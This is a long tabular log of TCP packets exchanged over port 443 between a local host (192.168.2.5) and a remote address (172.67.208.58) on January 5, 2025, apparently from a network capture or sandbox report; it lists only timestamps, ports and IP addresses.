Jan 5, 2025 17:55:39.753914118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753937006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.753974915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.753983021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.754004955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.754024982 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.754961014 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.754978895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755069971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755076885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755295992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755330086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755361080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755367041 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755405903 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755415916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755423069 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755429029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755470991 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755481958 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755490065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755517960 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755604029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755650997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755656958 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.755903959 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.755917072 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.756463051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841128111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841152906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841207027 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841214895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841248989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841269016 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841594934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841614962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841650009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841656923 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841685057 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841706991 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841836929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841852903 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.841901064 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.841907024 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842048883 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.842278004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842293024 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842344046 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.842350960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842398882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.842603922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842621088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842664957 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.842673063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.842694044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.842720985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.843630075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.843646049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.843689919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.843698025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.843741894 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.843928099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.843945026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.843981028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.843986988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.844016075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.844032049 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.844216108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.844230890 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.844270945 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.844275951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.844286919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.844317913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.844381094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:39.844386101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:39.845529079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.044667959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044692993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044769049 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044796944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.044821024 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044852972 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.044861078 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044929028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.044936895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044948101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.044995070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045001984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045104980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045120001 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045151949 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045161963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045175076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045295000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045308113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045341015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045350075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045375109 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045547962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045562983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045608997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045618057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045639038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045820951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045835018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045865059 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045866013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045878887 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.045900106 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.045926094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.046564102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047171116 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047245026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047260046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047311068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047338963 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047346115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047369957 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047399044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047513008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047528982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047559023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047564983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047583103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047780991 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047804117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047835112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047841072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047852993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047866106 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047895908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.047900915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047931910 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047986031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.047991037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048002005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048039913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048082113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048135042 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048146963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048156977 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048181057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048206091 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048213959 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048226118 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048563004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048582077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048619032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048629045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048646927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048656940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048693895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.048702002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.048742056 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.050828934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.052078962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107346058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107366085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107420921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107429028 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107460976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107480049 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107641935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107661963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107716084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107723951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107762098 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.107935905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107950926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.107995987 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108002901 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108232975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108259916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108289003 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108297110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108313084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108339071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108519077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108537912 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108571053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108581066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.108591080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.108654022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110089064 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110114098 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110156059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110163927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110445023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110466003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110496044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110505104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110548973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110758066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110774040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110797882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110804081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.110816002 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.110842943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.111301899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.112581968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.196255922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196276903 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196347952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.196357012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196665049 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.196708918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196724892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196778059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.196785927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196974039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.196993113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197031021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197037935 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197047949 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197079897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197303057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197316885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197439909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197439909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197452068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197535992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197545052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197551966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197576046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197594881 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197601080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.197624922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.197648048 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199139118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199157000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199199915 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199207067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199219942 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199381113 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199398994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199429035 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199434996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199460030 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199487925 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199605942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199619055 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199665070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199671984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.199687958 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.199712038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.200988054 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.201911926 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.292552948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.292571068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.292690039 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.292701006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.292869091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.292889118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.292944908 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.292952061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293004990 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293119907 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293134928 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293165922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293181896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293193102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293205023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293236017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293423891 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293440104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293493032 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293498993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293597937 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293616056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293663025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293669939 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293678999 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293705940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.293940067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293953896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.293994904 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294001102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294009924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294188023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294205904 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294219017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294225931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294260979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294280052 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294346094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294359922 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.294411898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.294419050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.295079947 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.295123100 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.381412029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381433964 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381515980 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.381526947 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381707907 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381726980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381763935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.381773949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.381788969 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.381814003 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.381989002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382009983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382050037 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382059097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382069111 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382258892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382278919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382312059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382322073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382333040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382364988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382452965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382467031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382514954 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382522106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382740021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382757902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382795095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382802963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382827044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382858038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.382953882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.382967949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.383018017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.383025885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.383249998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.383269072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.383305073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.383317947 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.383332968 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.383368015 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.383485079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.384253979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470266104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470293999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470341921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470355034 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:40.470366955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470408916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:40.470453024 CET	443	49843	172.67.208.58	192.168.2.5
